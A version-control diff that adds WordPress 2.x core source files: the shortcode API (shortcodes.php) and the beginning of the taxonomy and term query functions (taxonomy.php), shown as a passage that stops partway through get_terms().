web/wp-includes/shortcodes.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/shortcodes.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,298 @@ + + * $out = do_shortcode($content); + * + * + * @link http://codex.wordpress.org/Shortcode_API + * + * @package WordPress + * @subpackage Shortcodes + * @since 2.5 + */ + +/** + * Container for storing shortcode tags and their hook to call for the shortcode + * + * @since 2.5 + * @name $shortcode_tags + * @var array + * @global array $shortcode_tags + */ +$shortcode_tags = array(); + +/** + * Add hook for shortcode tag. + * + * There can only be one hook for each shortcode. Which means that if another + * plugin has a similar shortcode, it will override yours or yours will override + * theirs depending on which order the plugins are included and/or ran. + * + * Simplest example of a shortcode tag using the API: + * + * + * // [footag foo="bar"] + * function footag_func($atts) { + * return "foo = {$atts[foo]}"; + * } + * add_shortcode('footag', 'footag_func'); + * + * + * Example with nice attribute defaults: + * + * + * // [bartag foo="bar"] + * function bartag_func($atts) { + * extract(shortcode_atts(array( + * 'foo' => 'no foo', + * 'baz' => 'default baz', + * ), $atts)); + * + * return "foo = {$foo}"; + * } + * add_shortcode('bartag', 'bartag_func'); + * + * + * Example with enclosed content: + * + * + * // [baztag]content[/baztag] + * function baztag_func($atts, $content='') { + * return "content = $content"; + * } + * add_shortcode('baztag', 'baztag_func'); + * + * + * @since 2.5 + * @uses $shortcode_tags + * + * @param string $tag Shortcode tag to be searched in post content. + * @param callable $func Hook to run when shortcode is found. + */ +function add_shortcode($tag, $func) { + global $shortcode_tags; + + if ( is_callable($func) ) + $shortcode_tags[$tag] = $func; +} + +/** + * Removes hook for shortcode. + * + * @since 2.5 + * @uses $shortcode_tags + * + * @param string $tag shortcode tag to remove hook for. + */ +function remove_shortcode($tag) { + global $shortcode_tags; + + unset($shortcode_tags[$tag]); +} + +/** + * Clear all shortcodes. + * + * This function is simple, it clears all of the shortcode tags by replacing the + * shortcodes global by a empty array. This is actually a very efficient method + * for removing all shortcodes. + * + * @since 2.5 + * @uses $shortcode_tags + */ +function remove_all_shortcodes() { + global $shortcode_tags; + + $shortcode_tags = array(); +} + +/** + * Search content for shortcodes and filter shortcodes through their hooks. + * + * If there are no shortcode tags defined, then the content will be returned + * without any filtering. This might cause issues when plugins are disabled but + * the shortcode will still show up in the post or content. + * + * @since 2.5 + * @uses $shortcode_tags + * @uses get_shortcode_regex() Gets the search pattern for searching shortcodes. + * + * @param string $content Content to search for shortcodes + * @return string Content with shortcodes filtered out. + */ +function do_shortcode($content) { + global $shortcode_tags; + + if (empty($shortcode_tags) || !is_array($shortcode_tags)) + return $content; + + $pattern = get_shortcode_regex(); + return preg_replace_callback('/'.$pattern.'/s', 'do_shortcode_tag', $content); +} + +/** + * Retrieve the shortcode regular expression for searching. + * + * The regular expression combines the shortcode tags in the regular expression + * in a regex class. + * + * The regular expresion contains 6 different sub matches to help with parsing. + * + * 1/6 - An extra [ or ] to allow for escaping shortcodes with double [[]] + * 2 - The shortcode name + * 3 - The shortcode argument list + * 4 - The self closing / + * 5 - The content of a shortcode when it wraps some content. + * + * @since 2.5 + * @uses $shortcode_tags + * + * @return string The shortcode search regular expression + */ +function get_shortcode_regex() { + global $shortcode_tags; + $tagnames = array_keys($shortcode_tags); + $tagregexp = join( '|', array_map('preg_quote', $tagnames) ); + + // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcodes() + return '(.?)\[('.$tagregexp.')\b(.*?)(?:(\/))?\](?:(.+?)\[\/\2\])?(.?)'; +} + +/** + * Regular Expression callable for do_shortcode() for calling shortcode hook. + * @see get_shortcode_regex for details of the match array contents. + * + * @since 2.5 + * @access private + * @uses $shortcode_tags + * + * @param array $m Regular expression match array + * @return mixed False on failure. + */ +function do_shortcode_tag($m) { + global $shortcode_tags; + + // allow [[foo]] syntax for escaping a tag + if ($m[1] == '[' && $m[6] == ']') { + return substr($m[0], 1, -1); + } + + $tag = $m[2]; + $attr = shortcode_parse_atts($m[3]); + + if ( isset($m[5]) ) { + // enclosing tag - extra parameter + return $m[1] . call_user_func($shortcode_tags[$tag], $attr, $m[5], $m[2]) . $m[6]; + } else { + // self-closing tag + return $m[1] . call_user_func($shortcode_tags[$tag], $attr, NULL, $m[2]) . $m[6]; + } +} + +/** + * Retrieve all attributes from the shortcodes tag. + * + * The attributes list has the attribute name as the key and the value of the + * attribute as the value in the key/value pair. This allows for easier + * retrieval of the attributes, since all attributes have to be known. + * + * @since 2.5 + * + * @param string $text + * @return array List of attributes and their value. + */ +function shortcode_parse_atts($text) { + $atts = array(); + $pattern = '/(\w+)\s*=\s*"([^"]*)"(?:\s|$)|(\w+)\s*=\s*\'([^\']*)\'(?:\s|$)|(\w+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|(\S+)(?:\s|$)/'; + $text = preg_replace("/[\x{00a0}\x{200b}]+/u", " ", $text); + if ( preg_match_all($pattern, $text, $match, PREG_SET_ORDER) ) { + foreach ($match as $m) { + if (!empty($m[1])) + $atts[strtolower($m[1])] = stripcslashes($m[2]); + elseif (!empty($m[3])) + $atts[strtolower($m[3])] = stripcslashes($m[4]); + elseif (!empty($m[5])) + $atts[strtolower($m[5])] = stripcslashes($m[6]); + elseif (isset($m[7]) and strlen($m[7])) + $atts[] = stripcslashes($m[7]); + elseif (isset($m[8])) + $atts[] = stripcslashes($m[8]); + } + } else { + $atts = ltrim($text); + } + return $atts; +} + +/** + * Combine user attributes with known attributes and fill in defaults when needed. + * + * The pairs should be considered to be all of the attributes which are + * supported by the caller and given as a list. The returned attributes will + * only contain the attributes in the $pairs list. + * + * If the $atts list has unsupported attributes, then they will be ignored and + * removed from the final returned list. + * + * @since 2.5 + * + * @param array $pairs Entire list of supported attributes and their defaults. + * @param array $atts User defined attributes in shortcode tag. + * @return array Combined and filtered attribute list. + */ +function shortcode_atts($pairs, $atts) { + $atts = (array)$atts; + $out = array(); + foreach($pairs as $name => $default) { + if ( array_key_exists($name, $atts) ) + $out[$name] = $atts[$name]; + else + $out[$name] = $default; + } + return $out; +} + +/** + * Remove all shortcode tags from the given content. + * + * @since 2.5 + * @uses $shortcode_tags + * + * @param string $content Content to remove shortcode tags. + * @return string Content without shortcode tags. + */ +function strip_shortcodes( $content ) { + global $shortcode_tags; + + if (empty($shortcode_tags) || !is_array($shortcode_tags)) + return $content; + + $pattern = get_shortcode_regex(); + + return preg_replace('/'.$pattern.'/s', '$1$6', $content); +} + +add_filter('the_content', 'do_shortcode', 11); // AFTER wpautop() + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/taxonomy.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/taxonomy.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,2377 @@ + true, 'update_count_callback' => '_update_post_term_count', 'label' => __('Categories'), 'query_var' => false, 'rewrite' => false) ) ; + register_taxonomy( 'post_tag', 'post', array('hierarchical' => false, 'update_count_callback' => '_update_post_term_count', 'label' => __('Post Tags'), 'query_var' => false, 'rewrite' => false) ) ; + register_taxonomy( 'link_category', 'link', array('hierarchical' => false, 'label' => __('Categories'), 'query_var' => false, 'rewrite' => false) ) ; +} +add_action( 'init', 'create_initial_taxonomies', 0 ); // highest priority + +/** + * Return all of the taxonomy names that are of $object_type. + * + * It appears that this function can be used to find all of the names inside of + * $wp_taxonomies global variable. + * + * Should + * result in Array('category', 'post_tag') + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wp_taxonomies + * + * @param array|string|object $object Name of the type of taxonomy object, or an object (row from posts) + * @return array The names of all taxonomy of $object_type. + */ +function get_object_taxonomies($object) { + global $wp_taxonomies; + + if ( is_object($object) ) { + if ( $object->post_type == 'attachment' ) + return get_attachment_taxonomies($object); + $object = $object->post_type; + } + + $object = (array) $object; + + $taxonomies = array(); + foreach ( (array) $wp_taxonomies as $taxonomy ) { + if ( array_intersect($object, (array) $taxonomy->object_type) ) + $taxonomies[] = $taxonomy->name; + } + + return $taxonomies; +} + +/** + * Retrieves the taxonomy object of $taxonomy. + * + * The get_taxonomy function will first check that the parameter string given + * is a taxonomy object and if it is, it will return it. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wp_taxonomies + * @uses is_taxonomy() Checks whether taxonomy exists + * + * @param string $taxonomy Name of taxonomy object to return + * @return object|bool The Taxonomy Object or false if $taxonomy doesn't exist + */ +function get_taxonomy( $taxonomy ) { + global $wp_taxonomies; + + if ( ! is_taxonomy($taxonomy) ) + return false; + + return $wp_taxonomies[$taxonomy]; +} + +/** + * Checks that the taxonomy name exists. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wp_taxonomies + * + * @param string $taxonomy Name of taxonomy object + * @return bool Whether the taxonomy exists or not. + */ +function is_taxonomy( $taxonomy ) { + global $wp_taxonomies; + + return isset($wp_taxonomies[$taxonomy]); +} + +/** + * Whether the taxonomy object is hierarchical. + * + * Checks to make sure that the taxonomy is an object first. Then Gets the + * object, and finally returns the hierarchical value in the object. + * + * A false return value might also mean that the taxonomy does not exist. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses is_taxonomy() Checks whether taxonomy exists + * @uses get_taxonomy() Used to get the taxonomy object + * + * @param string $taxonomy Name of taxonomy object + * @return bool Whether the taxonomy is hierarchical + */ +function is_taxonomy_hierarchical($taxonomy) { + if ( ! is_taxonomy($taxonomy) ) + return false; + + $taxonomy = get_taxonomy($taxonomy); + return $taxonomy->hierarchical; +} + +/** + * Create or modify a taxonomy object. Do not use before init. + * + * A simple function for creating or modifying a taxonomy object based on the + * parameters given. The function will accept an array (third optional + * parameter), along with strings for the taxonomy name and another string for + * the object type. + * + * Nothing is returned, so expect error maybe or use is_taxonomy() to check + * whether taxonomy exists. + * + * Optional $args contents: + * + * hierarachical - has some defined purpose at other parts of the API and is a + * boolean value. + * + * update_count_callback - works much like a hook, in that it will be called + * when the count is updated. + * + * rewrite - false to prevent rewrite, or array('slug'=>$slug) to customize + * permastruct; default will use $taxonomy as slug. + * + * query_var - false to prevent queries, or string to customize query var + * (?$query_var=$term); default will use $taxonomy as query var. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * @uses $wp_taxonomies Inserts new taxonomy object into the list + * @uses $wp_rewrite Adds rewrite tags and permastructs + * @uses $wp Adds query vars + * + * @param string $taxonomy Name of taxonomy object + * @param array|string $object_type Name of the object type for the taxonomy object. + * @param array|string $args See above description for the two keys values. + */ +function register_taxonomy( $taxonomy, $object_type, $args = array() ) { + global $wp_taxonomies, $wp_rewrite, $wp; + + if (!is_array($wp_taxonomies)) + $wp_taxonomies = array(); + + $defaults = array('hierarchical' => false, 'update_count_callback' => '', 'rewrite' => true, 'query_var' => true); + $args = wp_parse_args($args, $defaults); + + if ( false !== $args['query_var'] && !empty($wp) ) { + if ( true === $args['query_var'] ) + $args['query_var'] = $taxonomy; + $args['query_var'] = sanitize_title_with_dashes($args['query_var']); + $wp->add_query_var($args['query_var']); + } + + if ( false !== $args['rewrite'] && !empty($wp_rewrite) ) { + if ( !is_array($args['rewrite']) ) + $args['rewrite'] = array(); + if ( !isset($args['rewrite']['slug']) ) + $args['rewrite']['slug'] = sanitize_title_with_dashes($taxonomy); + $wp_rewrite->add_rewrite_tag("%$taxonomy%", '([^/]+)', $args['query_var'] ? "{$args['query_var']}=" : "taxonomy=$taxonomy&term=$term"); + $wp_rewrite->add_permastruct($taxonomy, "{$args['rewrite']['slug']}/%$taxonomy%"); + } + + $args['name'] = $taxonomy; + $args['object_type'] = $object_type; + $wp_taxonomies[$taxonomy] = (object) $args; +} + +// +// Term API +// + +/** + * Retrieve object_ids of valid taxonomy and term. + * + * The strings of $taxonomies must exist before this function will continue. On + * failure of finding a valid taxonomy, it will return an WP_Error class, kind + * of like Exceptions in PHP 5, except you can't catch them. Even so, you can + * still test for the WP_Error class and get the error message. + * + * The $terms aren't checked the same as $taxonomies, but still need to exist + * for $object_ids to be returned. + * + * It is possible to change the order that object_ids is returned by either + * using PHP sort family functions or using the database by using $args with + * either ASC or DESC array. The value should be in the key named 'order'. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wpdb + * @uses wp_parse_args() Creates an array from string $args. + * + * @param string|array $terms String of term or array of string values of terms that will be used + * @param string|array $taxonomies String of taxonomy name or Array of string values of taxonomy names + * @param array|string $args Change the order of the object_ids, either ASC or DESC + * @return WP_Error|array If the taxonomy does not exist, then WP_Error will be returned. On success + * the array can be empty meaning that there are no $object_ids found or it will return the $object_ids found. + */ +function get_objects_in_term( $terms, $taxonomies, $args = array() ) { + global $wpdb; + + if ( !is_array( $terms) ) + $terms = array($terms); + + if ( !is_array($taxonomies) ) + $taxonomies = array($taxonomies); + + foreach ( (array) $taxonomies as $taxonomy ) { + if ( ! is_taxonomy($taxonomy) ) + return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy')); + } + + $defaults = array('order' => 'ASC'); + $args = wp_parse_args( $args, $defaults ); + extract($args, EXTR_SKIP); + + $order = ( 'desc' == strtolower($order) ) ? 'DESC' : 'ASC'; + + $terms = array_map('intval', $terms); + + $taxonomies = "'" . implode("', '", $taxonomies) . "'"; + $terms = "'" . implode("', '", $terms) . "'"; + + $object_ids = $wpdb->get_col("SELECT tr.object_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ($taxonomies) AND tt.term_id IN ($terms) ORDER BY tr.object_id $order"); + + if ( ! $object_ids ) + return array(); + + return $object_ids; +} + +/** + * Get all Term data from database by Term ID. + * + * The usage of the get_term function is to apply filters to a term object. It + * is possible to get a term object from the database before applying the + * filters. + * + * $term ID must be part of $taxonomy, to get from the database. Failure, might + * be able to be captured by the hooks. Failure would be the same value as $wpdb + * returns for the get_row method. + * + * There are two hooks, one is specifically for each term, named 'get_term', and + * the second is for the taxonomy name, 'term_$taxonomy'. Both hooks gets the + * term object, and the taxonomy name as parameters. Both hooks are expected to + * return a Term object. + * + * 'get_term' hook - Takes two parameters the term Object and the taxonomy name. + * Must return term object. Used in get_term() as a catch-all filter for every + * $term. + * + * 'get_$taxonomy' hook - Takes two parameters the term Object and the taxonomy + * name. Must return term object. $taxonomy will be the taxonomy name, so for + * example, if 'category', it would be 'get_category' as the filter name. Useful + * for custom taxonomies or plugging into default taxonomies. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wpdb + * @uses sanitize_term() Cleanses the term based on $filter context before returning. + * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param. + * + * @param int|object $term If integer, will get from database. If object will apply filters and return $term. + * @param string $taxonomy Taxonomy name that $term is part of. + * @param string $output Constant OBJECT, ARRAY_A, or ARRAY_N + * @param string $filter Optional, default is raw or no WordPress defined filter will applied. + * @return mixed|null|WP_Error Term Row from database. Will return null if $term is empty. If taxonomy does not + * exist then WP_Error will be returned. + */ +function &get_term($term, $taxonomy, $output = OBJECT, $filter = 'raw') { + global $wpdb; + $null = null; + + if ( empty($term) ) { + $error = new WP_Error('invalid_term', __('Empty Term')); + return $error; + } + + if ( ! is_taxonomy($taxonomy) ) { + $error = new WP_Error('invalid_taxonomy', __('Invalid Taxonomy')); + return $error; + } + + if ( is_object($term) && empty($term->filter) ) { + wp_cache_add($term->term_id, $term, $taxonomy); + $_term = $term; + } else { + if ( is_object($term) ) + $term = $term->term_id; + $term = (int) $term; + if ( ! $_term = wp_cache_get($term, $taxonomy) ) { + $_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = %s AND t.term_id = %s LIMIT 1", $taxonomy, $term) ); + if ( ! $_term ) + return $null; + wp_cache_add($term, $_term, $taxonomy); + } + } + + $_term = apply_filters('get_term', $_term, $taxonomy); + $_term = apply_filters("get_$taxonomy", $_term, $taxonomy); + $_term = sanitize_term($_term, $taxonomy, $filter); + + if ( $output == OBJECT ) { + return $_term; + } elseif ( $output == ARRAY_A ) { + $__term = get_object_vars($_term); + return $__term; + } elseif ( $output == ARRAY_N ) { + $__term = array_values(get_object_vars($_term)); + return $__term; + } else { + return $_term; + } +} + +/** + * Get all Term data from database by Term field and data. + * + * Warning: $value is not escaped for 'name' $field. You must do it yourself, if + * required. + * + * The default $field is 'id', therefore it is possible to also use null for + * field, but not recommended that you do so. + * + * If $value does not exist, the return value will be false. If $taxonomy exists + * and $field and $value combinations exist, the Term will be returned. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wpdb + * @uses sanitize_term() Cleanses the term based on $filter context before returning. + * @see sanitize_term_field() The $context param lists the available values for get_term_by() $filter param. + * + * @param string $field Either 'slug', 'name', or 'id' + * @param string|int $value Search for this term value + * @param string $taxonomy Taxonomy Name + * @param string $output Constant OBJECT, ARRAY_A, or ARRAY_N + * @param string $filter Optional, default is raw or no WordPress defined filter will applied. + * @return mixed Term Row from database. Will return false if $taxonomy does not exist or $term was not found. + */ +function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') { + global $wpdb; + + if ( ! is_taxonomy($taxonomy) ) + return false; + + if ( 'slug' == $field ) { + $field = 't.slug'; + $value = sanitize_title($value); + if ( empty($value) ) + return false; + } else if ( 'name' == $field ) { + // Assume already escaped + $value = stripslashes($value); + $field = 't.name'; + } else { + $field = 't.term_id'; + $value = (int) $value; + } + + $term = $wpdb->get_row( $wpdb->prepare( "SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = %s AND $field = %s LIMIT 1", $taxonomy, $value) ); + if ( !$term ) + return false; + + wp_cache_add($term->term_id, $term, $taxonomy); + + $term = sanitize_term($term, $taxonomy, $filter); + + if ( $output == OBJECT ) { + return $term; + } elseif ( $output == ARRAY_A ) { + return get_object_vars($term); + } elseif ( $output == ARRAY_N ) { + return array_values(get_object_vars($term)); + } else { + return $term; + } +} + +/** + * Merge all term children into a single array of their IDs. + * + * This recursive function will merge all of the children of $term into the same + * array of term IDs. Only useful for taxonomies which are hierarchical. + * + * Will return an empty array if $term does not exist in $taxonomy. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wpdb + * @uses _get_term_hierarchy() + * @uses get_term_children() Used to get the children of both $taxonomy and the parent $term + * + * @param string $term ID of Term to get children + * @param string $taxonomy Taxonomy Name + * @return array|WP_Error List of Term Objects. WP_Error returned if $taxonomy does not exist + */ +function get_term_children( $term_id, $taxonomy ) { + if ( ! is_taxonomy($taxonomy) ) + return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy')); + + $term_id = intval( $term_id ); + + $terms = _get_term_hierarchy($taxonomy); + + if ( ! isset($terms[$term_id]) ) + return array(); + + $children = $terms[$term_id]; + + foreach ( (array) $terms[$term_id] as $child ) { + if ( isset($terms[$child]) ) + $children = array_merge($children, get_term_children($child, $taxonomy)); + } + + return $children; +} + +/** + * Get sanitized Term field. + * + * Does checks for $term, based on the $taxonomy. The function is for contextual + * reasons and for simplicity of usage. See sanitize_term_field() for more + * information. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses sanitize_term_field() Passes the return value in sanitize_term_field on success. + * + * @param string $field Term field to fetch + * @param int $term Term ID + * @param string $taxonomy Taxonomy Name + * @param string $context Optional, default is display. Look at sanitize_term_field() for available options. + * @return mixed Will return an empty string if $term is not an object or if $field is not set in $term. + */ +function get_term_field( $field, $term, $taxonomy, $context = 'display' ) { + $term = (int) $term; + $term = get_term( $term, $taxonomy ); + if ( is_wp_error($term) ) + return $term; + + if ( !is_object($term) ) + return ''; + + if ( !isset($term->$field) ) + return ''; + + return sanitize_term_field($field, $term->$field, $term->term_id, $taxonomy, $context); +} + +/** + * Sanitizes Term for editing. + * + * Return value is sanitize_term() and usage is for sanitizing the term for + * editing. Function is for contextual and simplicity. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses sanitize_term() Passes the return value on success + * + * @param int|object $id Term ID or Object + * @param string $taxonomy Taxonomy Name + * @return mixed|null|WP_Error Will return empty string if $term is not an object. + */ +function get_term_to_edit( $id, $taxonomy ) { + $term = get_term( $id, $taxonomy ); + + if ( is_wp_error($term) ) + return $term; + + if ( !is_object($term) ) + return ''; + + return sanitize_term($term, $taxonomy, 'edit'); +} + +/** + * Retrieve the terms in a given taxonomy or list of taxonomies. + * + * You can fully inject any customizations to the query before it is sent, as + * well as control the output with a filter. + * + * The 'get_terms' filter will be called when the cache has the term and will + * pass the found term along with the array of $taxonomies and array of $args. + * This filter is also called before the array of terms is passed and will pass + * the array of terms, along with the $taxonomies and $args. + * + * The 'list_terms_exclusions' filter passes the compiled exclusions along with + * the $args. + * + * The 'get_terms_orderby' filter passes the ORDER BY clause for the query + * along with the $args array. + + * The 'get_terms_fields' filter passes the fields for the SELECT query + * along with the $args array. + * + * The list of arguments that $args can contain, which will overwrite the defaults: + * + * orderby - Default is 'name'. Can be name, count, term_group, slug or nothing + * (will use term_id), Passing a custom value other than these will cause it to + * order based on the custom value. + * + * order - Default is ASC. Can use DESC. + * + * hide_empty - Default is true. Will not return empty terms, which means + * terms whose count is 0 according to the given taxonomy. + * + * exclude - Default is an empty string. A comma- or space-delimited string + * of term ids to exclude from the return array. If 'include' is non-empty, + * 'exclude' is ignored. + * + * exclude_tree - A comma- or space-delimited string of term ids to exclude + * from the return array, along with all of their descendant terms according to + * the primary taxonomy. If 'include' is non-empty, 'exclude_tree' is ignored. + * + * include - Default is an empty string. A comma- or space-delimited string + * of term ids to include in the return array. + * + * number - The maximum number of terms to return. Default is empty. + * + * offset - The number by which to offset the terms query. + * + * fields - Default is 'all', which returns an array of term objects. + * If 'fields' is 'ids' or 'names', returns an array of + * integers or strings, respectively. + * + * slug - Returns terms whose "slug" matches this value. Default is empty string. + * + * hierarchical - Whether to include terms that have non-empty descendants + * (even if 'hide_empty' is set to true). + * + * search - Returned terms' names will contain the value of 'search', + * case-insensitive. Default is an empty string. + * + * name__like - Returned terms' names will begin with the value of 'name__like', + * case-insensitive. Default is empty string. + * + * The argument 'pad_counts', if set to true will include the quantity of a term's + * children in the quantity of each term's "count" object variable. + * + * The 'get' argument, if set to 'all' instead of its default empty string, + * returns terms regardless of ancestry or whether the terms are empty. + * + * The 'child_of' argument, when used, should be set to the integer of a term ID. Its default + * is 0. If set to a non-zero value, all returned terms will be descendants + * of that term according to the given taxonomy. Hence 'child_of' is set to 0 + * if more than one taxonomy is passed in $taxonomies, because multiple taxonomies + * make term ancestry ambiguous. + * + * The 'parent' argument, when used, should be set to the integer of a term ID. Its default is + * the empty string '', which has a different meaning from the integer 0. + * If set to an integer value, all returned terms will have as an immediate + * ancestor the term whose ID is specified by that integer according to the given taxonomy. + * The 'parent' argument is different from 'child_of' in that a term X is considered a 'parent' + * of term Y only if term X is the father of term Y, not its grandfather or great-grandfather, etc. + * + * @package WordPress + * @subpackage Taxonomy + * @since 2.3.0 + * + * @uses $wpdb + * @uses wp_parse_args() Merges the defaults with those defined by $args and allows for strings. + * + * @param string|array Taxonomy name or list of Taxonomy names + * @param string|array $args The values of what to search for when returning terms + * @return array|WP_Error List of Term Objects and their children. Will return WP_Error, if any of $taxonomies do not exist. + */ +function &get_terms($taxonomies, $args = '') { + global $wpdb; + $empty_array = array(); + + $single_taxonomy = false; + if ( !is_array($taxonomies) ) { + $single_taxonomy = true; + $taxonomies = array($taxonomies); + } + + foreach ( (array) $taxonomies as $taxonomy ) { + if ( ! is_taxonomy($taxonomy) ) { + $error = & new WP_Error('invalid_taxonomy', __('Invalid Taxonomy')); + return $error; + } + } + + $in_taxonomies = "'" . implode("', '", $taxonomies) . "'"; + + $defaults = array('orderby' => 'name', 'order' => 'ASC', + 'hide_empty' => true, 'exclude' => '', 'exclude_tree' => '', 'include' => '', + 'number' => '', 'fields' => 'all', 'slug' => '', 'parent' => '', + 'hierarchical' => true, 'child_of' => 0, 'get' => '', 'name__like' => '', + 'pad_counts' => false, 'offset' => '', 'search' => ''); + $args = wp_parse_args( $args, $defaults ); + $args['number'] = absint( $args['number'] ); + $args['offset'] = absint( $args['offset'] ); + if ( !$single_taxonomy || !is_taxonomy_hierarchical($taxonomies[0]) || + '' !== $args['parent'] ) { + $args['child_of'] = 0; + $args['hierarchical'] = false; + $args['pad_counts'] = false; + } + + if ( 'all' == $args['get'] ) { + $args['child_of'] = 0; + $args['hide_empty'] = 0; + $args['hierarchical'] = false; + $args['pad_counts'] = false; + } + extract($args, EXTR_SKIP); + + if ( $child_of ) { + $hierarchy = _get_term_hierarchy($taxonomies[0]); + if ( !isset($hierarchy[$child_of]) ) + return $empty_array; + } + + if ( $parent ) { + $hierarchy = _get_term_hierarchy($taxonomies[0]); + if ( !isset($hierarchy[$parent]) ) + return $empty_array; + } + + // $args can be whatever, only use the args defined in defaults to compute the key + $filter_key = ( has_filter('list_terms_exclusions') ) ? serialize($GLOBALS['wp_filter']['list_terms_exclusions']) : ''; + $key = md5( serialize( compact(array_keys($defaults)) ) . serialize( $taxonomies ) . $filter_key ); + $last_changed = wp_cache_get('last_changed', 'terms'); + if ( !$last_changed ) { + $last_changed = time(); + wp_cache_set('last_changed', $last_changed, 'terms'); + } + $cache_key = "get_terms:$key:$last_changed"; + $cache = wp_cache_get( $cache_key, 'terms' ); + if ( false !== $cache ) { + $cache = apply_filters('get_terms', $cache, $taxonomies, $args); + return $cache; + } + + $_orderby = strtolower($orderby); + if ( 'count' == $_orderby ) + $orderby = 'tt.count'; + else if ( 'name' == $_orderby ) + $orderby = 't.name'; + else if ( 'slug' == $_orderby ) + $orderby = 't.slug'; + else if ( 'term_group' == $_orderby ) + $orderby = 't.term_group'; + elseif ( empty($_orderby) || 'id' == $_orderby ) + $orderby = 't.term_id'; + + $orderby = apply_filters( 'get_terms_orderby', $orderby, $args ); + + $where = ''; + $inclusions = ''; + if ( !empty($include) ) { + $exclude = ''; + $exclude_tree = ''; + $interms = preg_split('/[\s,]+/',$include); + if ( count($interms) ) { + foreach ( (array) $interms as $interm ) { + if (empty($inclusions)) + $inclusions = ' AND ( t.term_id = ' . intval($interm) . ' '; + else + $inclusions .= ' OR t.term_id = ' . intval($interm) . ' '; + } + } + } + + if ( !empty($inclusions) ) + $inclusions .= ')'; + $where .= $inclusions; + + $exclusions = ''; + if ( ! empty( $exclude_tree ) ) { + $excluded_trunks = preg_split('/[\s,]+/',$exclude_tree); + foreach( (array) $excluded_trunks as $extrunk ) { + $excluded_children = (array) get_terms($taxonomies[0], array('child_of' => intval($extrunk), 'fields' => 'ids')); + $excluded_children[] = $extrunk; + foreach( (array) $excluded_children as $exterm ) { + if ( empty($exclusions) ) + $exclusions = ' AND ( t.term_id <> ' . intval($exterm) . ' '; + else + $exclusions .= ' AND t.term_id <> ' . intval($exterm) . ' '; + + } + } + } + if ( !empty($exclude) ) { + $exterms = preg_split('/[\s,]+/',$exclude); + if ( count($exterms) ) { + foreach ( (array) $exterms as $exterm ) { + if ( empty($exclusions) ) + $exclusions = ' AND ( t.term_id <> ' . intval($exterm) . ' '; + else + $exclusions .= ' AND t.term_id <> ' . intval($exterm) . ' '; + } + } + } + + if ( !empty($exclusions) ) + $exclusions .= ')'; + $exclusions = apply_filters('list_terms_exclusions', $exclusions, $args ); + $where .= $exclusions; + + if ( !empty($slug) ) { + $slug = sanitize_title($slug); + $where .= " AND t.slug = '$slug'"; + } + + if ( !empty($name__like) ) + $where .= " AND t.name LIKE '{$name__like}%'"; + + if ( '' !== $parent ) { + $parent = (int) $parent; + $where .= " AND tt.parent = '$parent'"; + } + + if ( $hide_empty && !$hierarchical ) + $where .= ' AND tt.count > 0'; + + // don't limit the query results when we have to descend the family tree + if ( ! empty($number) && ! $hierarchical && empty( $child_of ) && '' === $parent ) { + if( $offset ) + $limit = 'LIMIT ' . $offset . ',' . $number; + else + $limit = 'LIMIT ' . $number; + + } else + $limit = ''; + + if ( !empty($search) ) { + $search = like_escape($search); + $where .= " AND (t.name LIKE '%$search%')"; + } + + $selects = array(); + if ( 'all' == $fields ) + $selects = array('t.*', 'tt.*'); + else if ( 'ids' == $fields ) + $selects = array('t.term_id', 'tt.parent', 'tt.count'); + else if ( 'names' == $fields ) + $selects = array('t.term_id', 'tt.parent', 'tt.count', 't.name'); + $select_this = implode(', ', apply_filters( 'get_terms_fields', $selects, $args )); + + $query = "SELECT $select_this FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy IN ($in_taxonomies) $where ORDER BY $orderby $order $limit"; + + $terms = $wpdb->get_results($query); + if ( 'all' == $fields ) { + update_term_cache($terms); + } + + if ( empty($terms) ) { + wp_cache_add( $cache_key, array(), 'terms' ); + $terms = apply_filters('get_terms', array(), $taxonomies, $args); + return $terms; + } + + if ( $child_of ) { + $children = _get_term_hierarchy($taxonomies[0]); + if ( ! empty($children) ) + $terms = & _get_term_children($child_of, $terms, $taxonomies[0]); + } + + // Update term counts to include children. + if ( $pad_counts && 'all' == $fields ) + _pad_term_counts($terms, $taxonomies[0]); + + // Make sure we show empty categories that have children. + if ( $hierarchical && $hide_empty && is_array($terms) ) { + foreach ( $terms as $k => $term ) { + if ( ! $term->count ) { + $children = _get_term_children($term->term_id, $terms, $taxonomies[0]); + if( is_array($children) ) + foreach ( $children as $child ) + if ( $child->count ) + continue 2; + + // It really is empty + unset($terms[$k]); + } + } + } + reset ( 